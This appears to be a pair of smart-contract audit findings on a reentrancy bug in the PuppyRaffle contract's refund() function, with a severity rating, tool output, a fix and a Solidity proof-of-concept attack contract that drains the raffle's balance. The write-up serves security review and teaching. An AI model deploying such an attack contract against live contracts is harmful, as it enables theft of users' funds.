refund() Sends ETH Before Clearing Player Slot — Reentrancy Drains All Contract FundsPuppyRaffle allows participants to reclaim their entrance fee via refund(playerIndex). The function is designed to verify that the caller is an active player at playerIndex, send them back their entranceFee, and then remove them from the players array.
The vulnerability is a classic Check-Effects-Interactions (CEI) violation: payable(msg.sender).sendValue(entranceFee) is called at L101 before the player's slot is zeroed at L103. Because players[playerIndex] still holds the attacker's address at the time ETH is sent, a malicious contract's receive() function can recursively re-call refund() repeatedly, draining the entire contract balance before any player slot is cleared.
Likelihood: High
Any player who entered the raffle can trigger this attack immediately after depositing; there is no timelock or limit on the number of recursive calls.
The attack requires only one malicious contract entering the raffle with entranceFee worth of ETH — a trivially low barrier.
Impact: High
Every ETH in the PuppyRaffle contract is drainable in a single transaction, including entrance fees paid by all other honest participants.
All legitimate players lose their deposits; the raffle is rendered insolvent.
Severity: Critical
Deploy AttackRaffle with entranceFee ETH, call attack(), and observe the full contract balance transferred to the attacker in one transaction.
Expected result: AttackRaffle balance increases by N × entranceFee (entire contract), while PuppyRaffle.balance becomes 0.
Apply the Checks-Effects-Interactions pattern: zero the player slot before sending ETH.
Alternatively, import OpenZeppelin's ReentrancyGuard and add the nonReentrant modifier as defense-in-depth. The CEI fix is preferred as the primary safeguard because nonReentrant alone does not eliminate the underlying ordering bug.
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
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